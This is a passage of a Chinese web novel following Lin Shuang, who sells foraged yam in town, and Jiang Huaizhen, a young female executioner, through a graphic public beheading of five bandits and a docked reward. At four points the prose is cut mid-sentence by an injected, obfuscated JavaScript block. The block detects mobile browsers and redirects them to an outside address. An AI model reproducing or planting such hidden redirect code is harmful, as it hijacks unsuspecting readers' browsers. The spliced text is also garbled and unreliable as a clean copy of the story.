这是一个普通得不能再普通的早晨，可上一世却根本无暇注意到这些，每日睡前醒来总是忧心忡忡着，生怕自己干活不够利索，生怕秦家两个小的照顾不好，生怕秦老夫人让那婆子来为难自己，罚不能吃饭，或者送来一碗浓黑的药汤，为他们试药…… 如今在这里，同样没粮没米，可心里却是定的，因为只要自己不走，江怀贞就绝不会赶自己走。 入户籍了呢，就是家里的一分子。 正想着，屋子外边传来脚步声，江怀贞回来了。 她抱着一把青菜，走到水缸边上，舀了水，弯下腰洗菜。 见她洗完了，林霜起身去切菜。 锅里的粥水开了，眼看就要溢出来，那人眼明手快伸手将盖子揭开，留了一半盖在上边。 林霜道：“再起另外一个炉子。” 江怀贞嗯了一声，从正燃着的火炉里抽了几根燃得正旺的柴火出来，塞到旁边的灶子，再添新柴，火苗很快蹿了起来。 除了不会烹饪，烧火倒是烧得挺好。 林霜嘴角勾了勾，起锅，把已经到底的油罐子再刮了刮，刮出小指头那么一粒油，勺子放到烧热的锅里，热气将渐渐凝固的猪油给化开。 勉强润了个锅底。 江怀贞看着锅底那薄薄的一层油花，眼神闪了闪，低着头，并未出声。 切碎的青菜倒入锅中，勺子迅速翻炒，香味冒上来。 饭菜很快便熟了，林霜给老太太舀了一碗先送去，江怀贞今日有任务，心思很沉，便在厨房吃了。 林霜从粥里捞出一大根山药，夹到碗里放凉，随后才找了一张油纸包起来放到桌上道：“平日都是午时三刻才行刑，你这会儿吃早饭，等到那时定饿了，拿着这个将就一下，干活儿的时候才有力气。” 也不知道她身上有没有钱，舍不舍得在外头吃。 江怀贞并不知她心里所想，见她为自己准备的食物，眼神从油纸上面扫过，咽下含在嘴里的一口粥，开口道：“好。” 12.又见山药 江怀贞吃完粥后便出门了。 林霜伺候老太太吃了药，和她说了一声后便背着背篓往后山上去。 昨日已经上来一趟，今天这一趟也算是轻车熟路。不过她不敢随意动用自己的精神力去感受周遭，免得待会儿连下山的力气都没有。 大约走了接近一个时辰，直到望见一大片防风方才停下。 防风是一种草药，根部可以入药，有祛风解表胜湿止痛的功效。 得亏白水村村民不识药材，也得亏这座山没人敢来，否则这一大片怎么可能轮得到她。 林霜放下背篓，准备开挖。 可挖之前，还是忍不住把手放到地上探寻了一番，当脑海里出现六七株山药时，顿时喜上眉梢。 看来自己是跟山药结了缘了，上山两次都能遇上这物种。 防风要挖根，但它的根很细，山药就不同，根系粗长，要好挖许多。 想着这几日急着用钱，林霜决定先留着防风等几日后上山再挖，今天先挖山药，待会儿直接拿鲜货进城去卖，顺便去看看江怀贞行刑。 那人今天要面对五个死囚，林霜有些担心她。 心里拿了主意，便开始干活。 花了半时辰的工夫，总算把这六株山药全给挖上来。 一株山药的根数有多有少，多的能长到五六根，少的只有一两根，且长短不一，弯弯扭扭的也不是很直，一整个下来一共挖了二十三根。 将整个筐装得满满当当，算起来得有四十多斤。 这些鲜货比不得晒干的，但一斤也能卖上六七文钱，要是能全都卖出去，这几日的伙食应该是不用愁了。 无奈这副身子实在太单薄，背着一大背篓到半山腰的时候，两个肩膀就已经被勒得生疼。 半山腰处有几路泉水汇聚在一起，形成一条小涧，林霜直接将山药放入涧中清洗。 洗掉泥巴后，捞起来装回背篓，摸着石头下山去。 回到家进屋歇了会儿，扶着老太太去了趟茅房后道：“奶，我今早又挖了一背篓山药，待会儿进城一趟，你在家好好待床上，没事别下床。” 江老太前日听江怀贞说了，买林霜的银子是她自己出的，再加上这两日相处，她能看出来眼前这女孩是个能干的，也没说什么风凉话扫她的兴。 不过风凉话能忍着不说，别的话却憋不住。 “要去便去，你没来的时候，那死丫头不在，我不也是好好的？” 林霜抿嘴轻笑：“早上粥还剩些，我热了放床边，你饿的时候吃。” 农家人一日两餐是正常，江老太没好气道：“早饭还没吃多久，又来下一顿，猪都没这么能吃。” “那行，我快去快回便是。” 刚收拾准备出门，又被老太太叫进去，不知道从哪里摸出来两文钱放在床边的桌子上道：“拿着坐牛车去。” 林霜看着桌面上磨得光亮的两个铜板，眼眶突然一热。 从这里出了村子，还要走半个时辰的路，这一筐的重量倒不至于压垮她这小身板，可也是要累得够呛，而且还要交一文钱才能进城。原先她是想着在城外叫卖，卖出了一根半根赚了一文钱再进城，没想到老太太居然会给她钱。 她咬着唇，并未推辞：“等山药卖出去了，我再补贴家里。” 江老太哼了一声：“我给你钱又不是要你补贴，家里还有贞丫头，我可没指望你，我是看在昨晚上那几个菜的份上给你的辛苦费。” 林霜瞧她嘴硬，也没与她计较，将铜板端进口袋，背着一背篓的山药便出门了。 平日江怀贞绕小路出村子，路程会更远一些，她现在背着东西，可不想绕道。 前两天在林家闹的那事早就传遍了整个村子，只是林霜一直没出门，外边的人也不敢进谷里，村民心里一直憋着想看看后续。 如今见她背着背篓出了山谷，都忍不住凑上来。 等走到她跟前又硬生生停下脚步，生怕沾染了西山谷里的煞气和晦气。 于是远远问道：“霜丫头，你当真在山谷里住下来了？” “是啊，主家出钱了，她住哪儿我就住哪儿。”林霜回答。 “哎，这都什么事啊，好端端一个姑娘家，怎么能跟那种煞星住在一起呢……” 林霜听到这话，脸色立即沉了下来：“她是煞星，我也是煞星，三婶你走这么近，就不怕被沾染了晦气？” 林三婶听到这话，瞬间往后退了几大步。 林霜嗤了声，没再理会这些人，将背上的背篓抬了抬，朝村子口走去。 “那丫头背的是什么呀？” “好像是山药。” “啧啧啧，命这么好，能一次挖到这么多山药，拿去也能卖不少钱呢。” “就一筐山药哪能算得上命好，就算卖出去了，钱也还不是得给江家那祖孙俩，依我看，卖过去了，就是一辈子为奴为婢，一世不得翻身咯。” “还不如嫁去秦家冲喜呢，听说秦家又另外找了一户人家，过几日就迎进门，吃香喝辣，什么也不用愁，多好。” 妇人们七嘴八舌地议论着，仿佛怕她听不见，还特意抬高了声音。 林霜懒得搭理她们。 什么吃香喝辣无忧无虑，一旦踏入秦家的大门，那就是踏上不归路。等秦冲一死，短短一个多月的好日子就到了头。 她上一世也没信过这种鬼话，只是当时迫于无奈，不得不进了那个门。 亲身走了那一遭，命都丢了，听到这样的话怎能不觉得讽刺？ 妇人们见她没搭理她们，问了一会儿也觉得没趣，便慢慢散去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115251|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林霜摇了摇头，继续赶路。 当路过林家附近，不出意外在通往村口方向的大树下看到了一个小小的身影。 那女娃娃听到脚步声，转过头来。 见到是林霜，眼睛一亮，叫道：“霜姑姑……” 女娃是林满仓隔壁邻居林大年家的孙女林萍儿，才三岁多。她爹一年前上山砍柴摔断了一条腿，娘跟人跑了。旁人骗她说她娘出外头去打零工，于是她每日就跑去村口等母亲。林大年家里怕外头有拍花子进村把人拐走，不让她再往村口去，于是她便每天守在这棵大树下，望着村口的方向，盼着哪天母亲能在道路的那一头出现。 林大年和林满仓倒也不是什么亲戚关系，同一个村子，可能几辈子之前是同一个祖宗。两家之间关系不好不坏，倒是马桂花跟林大年的老妻三天两头得吵一次架。 那老妻脾气不好，加上家里穷，儿子腿瘸了，儿媳又跟人跑，心里不顺意，时常把脾气发到林萍儿身上。 小娃娃三天两头要挨上一顿打，哭得嗷嗷直叫。 两家住得近，林霜将隔壁屋里动静听得一清二楚。 她自己自小就不被马桂花待见，见到林萍儿这般，免不了想起自己的身世，对这小娃娃不由得多了几分关心。 有时候上山摘了些野果子没舍得吃，回来倒是塞了些给小姑娘。 一来二去，两人私下关系还不错。 林霜去了西山谷有几天时间，两人就没再见过面，这会儿见她出现，林萍儿明显多了几分开心，小跑来到她跟前，仰头问道：“她们说你被卖去西山谷了……你……你在里边过得好不好？” 林霜摸了摸她的脑袋：“我过得很好，就是那天走得急，忘记和你说了，等往后我有空会来找你玩的。” 林萍儿听她这么说，瞬间高兴起来：“那说好了，你要来找我玩哦。” 林霜看着她手背上青青紫紫的痕迹，心里微微叹了口气：“会的，不过我这会儿还要赶着进城，就先不跟你多说了，等我们下次见面再跟你待久一点好吗？” 林萍儿连忙点头。 林霜这才背着背篓朝村口走去。 走了几步突然转过头回望了一眼。 见到那孩子就站在树下，眼巴巴地望着她的方向。 心里顿时酸涩不已。 萍儿平日里就是这么盼着她的母亲，如今又这么望着自己走，这么小的娃娃，她到底能以谁为倚仗，往后要如何过活？ 想到上一世的自己，也是如同这样一叶在人世间海浪中沉沉浮浮的浮萍，无所依靠，最终落了个身残腿断的下场。 忍着突然涌上来的泪水，她冲着小丫头摆了摆手道：“外边风大，快回家里待去吧。” 萍儿哦了一声，却仍一动未动，看着她走远。 13.到达刑场 林霜收拾了一下心情，很快走到大路边上。 村里有户人家养牛，赶圩日会赶着牛车进出拉客，一天能挣二十来文钱，不过这会儿人早就出发进城了。 林霜没有执着搭哪家的车，村里人知道她的情况，未必愿意让她上车，于是在路边候着其他村子的，见有人停下，便扛着背篓上去。 谁知那车夫急着赶路，林霜刚把背篓放上去，他便急不可耐地挥着鞭子赶牛，她一个步子踩空，身子往前倾去，眼看就要磕到马车边角上。 一双年轻的手腕快速伸过来，将她拉了一把，她这才站稳。 车上几人也赶忙喊道：“快别忙着赶车，人还没上来呢——” 车夫眼看差点惹了大祸，赶忙又将车子停下。 林霜这才上了车。 车上已经坐了五个人，其中一妇人抱着个病恹恹的小儿，边上坐了一位十五六岁的年轻姑娘，刚才伸手的人正是她。 几人身子单薄，衣衫破旧，看样子日子也过得贫苦。 她赶忙冲着人家道谢。 对方腼腆地笑了笑：“不客气，伸把手的事儿。” 旁边的妇人应该是她母亲，看着一筐山药问道：“进城卖山药呢？” “是啊。”林霜应着。 “运气可真好，一下子挖那么多。” “嗐，瞎猫碰上死耗子。” “卖多少钱一斤？”妇人问。 “我也不知道，”林霜摇头，“家里老人生病，打算背去药店换点药，大婶可知道这些鲜货的行情？” 妇人一听说要等着去换药，瞬间就没了打探的心思，想了想道：“五六文钱总是有的。” 旁边年轻姑娘脆生生地插话：“你要是去不熟的药店，怕是要被压价……平日我们村里有人采药去卖，都是去城北的永安药铺，那儿的老板实诚，给的价格也合适。” 林霜原本就打算去永安药铺，那铺子风评素来很好，上一世秦家的济世堂就一直将其视为眼中钉肉中刺。 对林霜来说，敌人的敌人就是朋友，但凡和秦家不对头的，她都心怀好感。 她点头谢过，表示等进城后就去永安药铺。 年轻姑娘见她采纳自己的意见，明显很高兴。 两人通了姓名，林霜才知道对方是白水村过去的下阳坡人，叫王春儿。 妇人早已转头去与同村人说话，颇有些兴致勃勃道：“听说今天衙门要对芒山那五个土匪开斩，来都来了，去看看呗。” “真是大快人心，在哪儿斩？” “菜市口，前面几天都是在那儿，没挪过地方。” “正好看完了去买东西。” 王春儿看着林霜问道：“你要去看吗？” 林霜急匆匆背着山药进城，本就是放心不下江怀贞，回道：“要去的。” “说不定到时候咱们还能碰上呢。”女孩眉毛弯了弯。 林霜笑道：“说不定呢。” 走了不到半个时辰，牛车便进了城，林霜和王春儿道别过后，背着背篓往永安药铺的方向走去。 刚到铺面门口，伙计远远瞧着她背着一背篓的山药，赶忙迎上来，帮她把背篓放下，口中一边问道：“姑娘从哪里来的，背这么重一筐，怕是累坏了吧。” 林霜揉了揉被勒出印的肩膀道：“坐了马车，就走一会儿，不碍事。你看看这些山药收不收？” “收的收的。” 他刚刚在帮忙抬背篓的时候已经粗粗打量了一下筐里的货，对比起其他村民背来的那些，品质看起来要好上许多。 “不过你这些是鲜货，重着呢，可比不了晒干的。” “我晓得，就是家里急用钱，我又怕自己收拾不好，影响药效，还不如就交给你们了。”林霜道。 “好说好说，”小伙计脸上笑眯眯的，“清理得还蛮干净，我去和掌柜的说一声。” 林霜忙问这会儿的时辰。 小伙计一副了然的模样：“姑娘是要去菜市口看处决犯人吧？那边午时三刻才开始，这会儿刚过午时，等称完了再过去刚好能赶上。” “看的人多吗？”林霜问。 “多着呢，这几个人作恶多端，官府又想震慑一番，把场面弄得很大。” 掌柜这会儿也腾出手来，招呼让另外一个伙计拿了杆大秤来，勾住背篓，一人一边把秤抬起来。 等称完了，他拿着算盘噼里啪啦地上下打了几下道：“去了皮一共四十五斤，一斤六文钱，两百七十文，你看没问题吧？” 这笔数目也和林霜预估的差不多，她刚刚是看着他们过秤，自然没有什么问题。 眼看有钱入账，别提多开心。 心里盘算着等晚些要买几斤面回去，到时候煎着饼子配着粥喝，江怀贞肯定喜欢。 掌柜见她点头，便从抽屉里数了钱给她。 “姑娘找的这些山药都不错，往后要是还有，尽管送来。” “好嘞，我第一次来就选你这，下次来肯定还来这儿。”林霜将三串铜板塞到怀里的口袋，与几人道别，朝菜市口方向走去。 摸着口袋里的钱，想着往后或许还能挖到更多的草药，心里也不由得一阵激动。 唯一担心的是江怀贞那边。 今日要连续给五个人行刑，也不知道她够不够力气？早上包的那截淮山她吃了没有，抵不抵得了饿？ 这么想着，路过一家包子铺的时候，数六个铜板，买了三个大包子，希望能在行刑之前拿给她。 路上人很多，都在往菜市场的方向去，林霜顺着人流往那头走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119258|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>约莫过了半炷香的功夫，绕过一条狭窄的巷弄，随着越走越近，喧嚣之声穿墙而来，越发清晰。 待越过巷尾，眼前一片豁然开朗，只见人头攒动，好不热闹。 人群背后是一排排用茅草搭起来的菜摊子，也有的露天经营，摊主们趁着人潮汹涌，扯着嗓子高声叫卖。 而在这一片喧闹之中，最为引人注目的莫过于菜市口新搭建起来的那座刑台。 台上，五个蓬头垢面的大汉跪成一排，双手被牢牢缚在身后。 其中一人低着头伏地痛哭，一人挺直腰杆口中骂骂咧咧，剩余三人则佝偻着腰，双眼空洞地凝视着地面，仿佛早已经是一具死尸。 五人身后，立着一个年轻的刽子手。 黑衣红褂，身姿高挑，红色的发带垂落在颈边，随风轻荡。 这人正是江怀贞，她拿着鬼头刀站在几名死囚犯身后，薄唇紧抿，看不出什么表情。 其中一个死囚突然转头冲着身后刽子手大骂，污浊唾沫溅上她脚上皂靴。 人群嗡鸣骤起，以为她会发怒。 她垂眸瞥过那点秽物，随即转开眼神，并未有任何动作。 人们顿时议论纷纷，有人数落着台上几个犯人的罪行，有人对这位初出茅庐的刽子手指指点点。 “瞧那细伶伶的手腕！怕是连鸡脖子都剁不利索。” “别还没动手自己就先被吓死了。” “我记得前阵子有个刽子手，砍一个头竟砍了九九八十一刀，我看那死囚做鬼都不会放过他。” “哈哈，刀身卡在颈骨里生生掰断的那位吗——” 也有人替江怀贞辩驳：“前头三天都是这个刽子手，我来看过了，没那么差劲啦。” 议论声浪卷过刑台，江怀贞立在那儿，仿佛什么都能听见，又仿佛什么也没听见，抵在地上的大刀在午后的日光下晃出白晃晃的冷光。 林霜看着台上纹丝不动的江怀贞，原本想着趁还没有行刑把包子给她送过去，但看这个样子，也只能等行完刑再吃了。 只是她的脸色有点苍白得过分。 死囚的咒骂混着百姓哄笑震荡耳膜，林霜无法判断她此刻的心情。 上一世的这个时候自己已经被送去秦家，终日提心吊胆，根本无暇他顾，又哪里想过江怀贞初入行时候的状况？ 但后来江怀贞确实熬过来了，成了整个昌平县出了名的刽子手，如此推论，这次的行刑应该是顺利的。 她唯一担心的是， 此时台上的她，是否害怕？ 后来的她性情大变，跟今天这一场有没有关系？ 林霜紧紧攥着手上的包子， 她感觉自己此时的心情并不亚于站在台上的江怀贞，她甚至觉得，此时正站在台上行刑的人是她。 14.情绪起伏 就在这时，袖子突然被拉了一把。 她猛地转过头，等看清来人，情绪稍微放松了些，勉强挤出一丝笑意：“是你啊。” 王春儿害羞地笑了笑：“我刚刚就说，说不定我们会在这儿碰面，还真给说准了。” “真是巧了呢。” 林霜说着，侧身让出一个位置，王春儿挤过来，和她站在一处，她母亲抱着孩子落在后边，和同村人站在一块。 王春儿这时才转头望向台上，目光落在那正闭眼站立的年轻刽子手身上，压低声音冲着她道：“这样年轻单薄的刽子手我还是第一次见，以前听说干这一行的都是膀大腰圆的壮汉，这样子的……也不晓得能不能砍得动？” “都砍了好几天了，应该不会出错。”林霜小声敷衍。 “我也是这么想，这么好看的人，就不该出差错。” 林霜原本紧绷着的心情因为这句话一下子放松了下来，笑道：“照你这么说，长得好看的人不管做什么事都能做得好咯？” “那当然。”王春儿捂着嘴笑。 “听说是江贵的儿子，老江头吃这门饭几十年，他儿子也不至于那么没出息吧。”旁边有人议论着。 “江贵怎么有儿子，哪个女人愿意嫁给刽子手当媳妇？就不怕被他刀下亡魂给缠上，不得好死吗？” 王春儿也听到了二人的谈话，歪过身子凑到她耳边道：“要是长这样的刽子手，我倒是愿意嫁。” 林霜闻言，转过头挑眉看她。 看着文文静静，说话倒是挺大胆。 小姑娘被她揶揄的眼神给臊得满脸通红，但很快神情又落寞下来，轻轻叹了一声：“可选择夫婿这种事，又哪里能由得咱自个儿做主……” 林霜听到这一句，心也跟着沉了沉。 父母之命，媒妁之言。 那些高门贵女尚且不能为自己的婚姻做主，更何况她们这些小门小户的人家，尤其像她这样无父无母的孤儿。 上一世就是这么任由伯父伯母发卖，坎坷一生不得好死。 幸得老天开眼，才能重活一世。 可这世间有多少女子能跟她一样，有重来一次的机会？ 台上差役大声宣读着这五人的犯罪公告，两人低着头小声说话，身边人群依旧议论纷纷。 直到坐在刑台后边的监斩官站起身，高声唱道：“时辰到，斩——” 三叠声唱斩，每唱一声斩，囚犯无不瑟瑟发抖，更有甚者脚下已然一片水渍。 江怀贞原本阖着的眼睛也在这一刻张开。 她抬起抵在地上的鬼头刀，行至第一个死囚身后。 林霜的身子几乎是在监斩官那一个“斩”字中重新绷紧，已经无暇去听王春儿在说什么了，眼睛下意识地往台上寻找江怀贞的身影，手里的包子被她掐得露出馅来。 原本喧闹的场地也在这一瞬间安静下来。 并没有让人等得太久，只见年轻的刽子手手臂倏地一抬，鬼头刀扬在了半空中。 暗日稀薄的光映照在刀身上，众人只觉得眼前一闪，大刀已经落下。 周边百姓的惊呼如潮水漫过耳际。 黑乎乎的首级咚的一声砸在地上，随后打了几个滚，咕噜噜地朝着人群中奔来。 前排人群轰然散开。 林霜心脏咚咚直跳，身子发起抖来。 她不知道是因为第一次目睹行刑场面而心惊，还是因为江怀贞顺利完成第一个任务而引发的情绪喷薄。 旁边的王春儿见她神色不太对劲，忙伸手搀扶住她道：“林霜，你没事吧？你要是看不了，还是别看了。” 林霜摇头，眼睛死死锁住台上那人的身影。 此时的江怀贞已经走到第二个死囚的身后，鬼头刀再次举起来。 台下质疑她的人，哪里还记得前头都说了什么话，眼看人头落地，瞬间变得激动起来，纷纷冲着台上嚷道：“这些人拦路抢劫无恶不作，别让他们死得那么容易，多砍几刀再让他们死——” 也有人仍嘴硬地给自己找补：“才砍了一个呢，谁知道还有没有力气再砍下一个？” 林霜一点都不想江怀贞受下面那些人的干扰，她只希望她能快点行刑完，完成任务，结束眼前这让她几乎喘不过气来的场景。 第二个死囚似乎挺过了心理的那一关，丝毫不在意即将到来的死期，直着脖子骂道：“老子就杀人怎么地，老子地里一颗粮食都没有，不杀人不抢劫老子怎么活——” “昏官，吃得脑满肠肥，就许你们鱼肉百姓，不许我杀人放火？天理何在——” 说着又转头冲着江怀贞骂道：“为虎作伥的狗东西，砍我啊，朝爷爷脖子上边砍，今日你砍爷爷的头，爷爷作鬼也要缠着你这小白脸，让你夜夜噩梦不能入眠——” “让你断子绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123431|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙不得好死——” 话音还未落，随着他一声惨叫，首级也跟着滚了下来，鲜血从断头处喷出来，淋了一地。 谩骂声似乎还回荡在耳际。 这样的诅咒，江怀贞是不是每次行刑都要听上一次。 她刚踏入刑场的第一天，那日淋着雨，她晚晚才归，一身湿漉漉站在窗口，嘴唇没有一丝血色。 那日她是不是也听到过这样的诅咒？ 林霜两条腿突然抖得厉害，根本没有办法支撑她的身子，就这么在人群中蹲了下来，捂住耳朵，不敢去看去听台上的场面，连包子掉在地上都浑然不觉。 王春儿见状，当真以为她是害怕这种场面，弯腰将落在地上的包子拾起来，轻轻拍了拍她的肩膀，又转头往台上看去。 看得津津有味。 不知过了多久，人群中的惊呼一阵接着一阵，直到后面竟传来尖叫声，惊得林霜猛然松开捂耳的手。 她一把抓住王春儿的裙裾，抬头疾声问：“怎么了？” “最后一个砍了五刀人还没死，刀口好像卷了刃……”王春儿道。 林霜听到这话，嗖地一下赶忙站起身，扶着身边的人急切地朝刑场上望去。 视线已撞见那柄卷刃的鬼头刀，刀刃卡在犯人后颈处，江怀贞修长的身子拉成了一张弓，握刀的手背细细的青筋清晰可见。 死囚扭曲的脖颈正对着林霜的方向，暴凸的眼球让她一瞬间煞白了脸。 这个角度，她能清晰看见江怀贞发梢滴落的汗珠，一颗颗砸在地上。 她感觉自己的心提到了嗓子眼。 刀卷刃了，还能继续下去吗？ 但也不过是一息之间的事情，江怀贞抬起了头。 “恶贯满盈者……”她声音有些低缓，“终归不能让他死得那么便宜。” 众人捂着心口。 “不带这样说话大喘气的——” 话未说完，原本还卡着的大刀突然间扬起，紧接着快速落下，而原本身前哭喊辱骂的声音也在这一瞬间戛然而止。 首级滚落在地。 前排那一撮人嗷的一声迅速后退，凹出一个大口子。 这一刻，林霜终于尝到唇齿间的血腥味，心脏随着刑场四周突然爆发的喝彩声剧烈跳动。 [要快点赚到钱，不要让江怀贞再做这个行当了] 她心里迫切地想到。 15.领取赏银 行刑结束，民众迟迟不愿散开，围着刑场兴致勃勃地讨论。 而被他们讨论的中心人物，正提着刀出了刑场。 据说刽子手离开刑场的时候不能回头，否则死者的鬼魂会上身。 林霜被疏散的人群冲挤着，等站稳的时候，被旁边的王春儿一把拉住，手里塞入几个包子。 “你刚刚吓得把包子都拿不稳，拿好了。” 林霜这才恍惚地回过神来，看着手上几个被自己捏得馅都跑出来的大包子，有些不好意思地冲着对方道了谢。 等再转过头，才发现江怀贞的背影只剩下一个小黑点，忙冲着王春儿道：“我还有事，得先走了，下次有缘再见。” 说着不待对方回应，转身朝小黑点追去。 江怀贞提着鬼头刀往衙门的方向去，今年八个斩首指标，直到方才已经全部完成，她得尽快拿到赏钱。 爹说了，衙门里没几个人是干净的，赏钱不及时拿，过后想要拿就难了。 虽然外头的人怕刽子手，可那些当官当差的，行的那些事，杀人不见血，比刽子手还更残忍，他们鬼都不怕，又怎么会怕区区活人。 这两年来因为要给奶治病，已经欠了不少债，就等着这些赏银拿回来还债。 先是去了刑房交差，主事见她进来，笑眯眯道：“小江，这几次任务做得不错，有乃父之风，明年好好干。” 自从江贵死后，这两年吏房陆陆续续给找了几名刽子手，只可惜有的还没上刑场就吓跑了，留下来的也出了很多状况，百姓议论纷纷，说他们连个砍头的都找不好。 人是吏房的人找的，关他们刑房什么事？ 今年秋后处斩名单下来，行刑的人跑了，县太爷连带他们刑房一起骂，幸好卢捕头推荐了个后生过来，说是江贵的后人。 看着对方文文弱弱的模样，他原是想一口回绝了。 可发了好久的招人公告，愣是没有一人前来应招，不得已，还是又让卢青把人给找来了。 当时他和县尉通了气，分批次行刑，要是头一天砍不好，立马重新招人。 重金之下必有勇夫，多加点钱，总归是能找到的。 没想到四天前第一次行刑，出乎意料地合格，他便觉得稳了。 方才他也去菜市口看了，虽然比不上江贵，但整体来说，比前头的那几个都要好。作为新手，已经是非常出色的表现，假以时日，定不输江贵。 这会儿见她进来，笑眯眯给她批了条子：“去户房领赏钱吧。” 江怀贞谢过，这才出了门，提着刀朝户房去。 谁知没进门，便被门口衙役喝住，让她将刀放在外头。 她没说什么，将裹着布的鬼头刀立在墙角，这才进了房间。 呈上条子道：“我来领行刑的赏银。” 库子接了条子，掀起眼皮打量着眼前的江怀贞，颇有些阴阳怪气道：“还真是人不可貌相啊——” 说完才慢悠悠起身去找主事复批，好半天才出来，最后拿了七两碎银子递给她道：“都在这里了。” 江怀贞掂了掂问：“八个人头不是八两吗？” 库子眯了眯眼睛，一字一句地重复道：“都在这里了。” 江怀贞抿了抿唇，没再说话，将七两碎银拢在手里，塞进怀里的口袋，转身朝门外走去。 耳边是那库子鼻子里哼着一句“晦气”。 她没有回头，面无表情地又回了刑房找卢青。 人是卢青推荐过来的，因此几次行刑，除了第二次有事不能到场以外，另外三场他都去观斩了，直到江怀贞斩完了，也才放下心来。 见人过来，他笑眯眯道：“怀贞，干得好啊。” 江怀贞冷冰冰的脸上才抿出一丝笑意，从怀里掏了三两银子递给她：“青叔，赏银下来了，先还你。” 倒没跟他提起户房克扣她赏银的事，卢青没钱没势没背景，这些年能从一个小捕快爬上捕头的位置，除了本身能力出众，也吃了不少苦，她不愿他为难。 卢青摆手：“你家急用就先拿着呗，我还不急。” 江怀贞不愿欠人情，仍是递过去。 卢家的情况可没跟他嘴一样松，她只是借钱暂渡难关，不是要长期靠别人。 卢青见她坚持，只得接过来道：“那我就先拿着，什么时候需要了再跟我说。” 江怀贞道了一声好：“谢谢青叔。” “别跟我客气，你爹还活着的时候，我急用钱，他也没少帮我。”卢青道。 几年前他家房子烧了，一大家子没地方住，孩子被烧伤没钱医治，还是江贵出的银子。 众人都嫌弃江贵是个刽子手，身上煞气大，不愿与他亲近，但卢青求到他面前的时候，他听说是孩子的事，二话不说便掏了钱。 是以这次江怀贞找到他的时候，他愿意帮这个忙。 卢青拿了钱，笑道：“三娘刚刚也去看你行刑了，不过城东有人滋事斗殴，她带人赶过去处理，要不然准在这儿堵你。” 胡三娘名唤胡桂英，是卢青的外甥女，靠着这层关系混入衙门当了个小捕快。她为人机灵爽朗，最是不拘一格，得知江贵对自家舅舅帮助后，对他很是感激，之前和江怀贞打过照面，两人颇为投缘。 舅甥两人算是整个昌平县唯一愿意与江家往来的人家。 不过江怀贞自知身份不为人所喜，因此也极度克制，不愿与人多过亲近。 倒是林霜除外。 想到林霜和家里的祖母，江怀贞道：“青叔，我得先回去了，麻烦你替我和三娘问声好。” 卢青知道江老太还卧病在家，摆了摆手：“快回去吧。” 江怀贞与他道别过后，提着刀便出了衙门。 七两银子如今还剩四两，二两回村要还给村正，就剩下二两。她摸了摸袋子里硬邦邦的银稞子，心里微微叹了口气。 这二两银子也不能乱花，奶的身子不如以往，平日抓药要用钱，就怕万一和之前一样来个急症，剩下的这些根本就不够用。 昨晚吃饭的时候还想着，等赏银发下来了，要买些东西给祖母补补身子，眼下怕是难了。 正想着，突然听到有人叫她的名字，抬头一看，竟是林霜。 自己那一套淡青色裙子穿在她身上，显得很是合身，使得昏沉的天气里透出几分清新养眼的味道。 “你怎么来了？”她忙快步走过去。 林霜迎上前来，自然而然地挽住她的手臂，“早上挖了几根山药，背来药铺卖，想等着你一起回去。你放心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128621|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都把奶安顿好了，这会儿回去刚刚好。” 她毫无芥蒂地亲近，让素来习惯与人保持距离的江怀贞微微一僵。 但林霜很快就放开手，从怀里取出手帕，冲着她道：“你低一下头，脸上沾血了。” 刚刚在刑场，她清清楚楚看到那血是如何溅上去的。 江怀贞闻言，顺从地低下头。 血迹有些干了，林霜不得不加了点力气揉搓。 “疼吗？” 江怀贞摇头：“不疼。” 林霜这才收回手，却见两三小吏从身边经过，一人突然转头看着两人道：“这不是刚刚在菜市口行刑的刽子手吗？” “对啊，还真是。” 最边上长着两撇小胡子的人突然笑着指着江怀贞道：“我记起来了，前头你们村村正拿了户籍来登记，加了你妻子的名字，啧，没想到年纪轻轻的居然已经成家了。” 江怀贞僵在原地，也不知道这几人言语之间是善意还是恶意。 但可以确认的是，户房的那名书吏上工酗酒，工作粗心大意乱点鸳鸯谱是没跑的了。 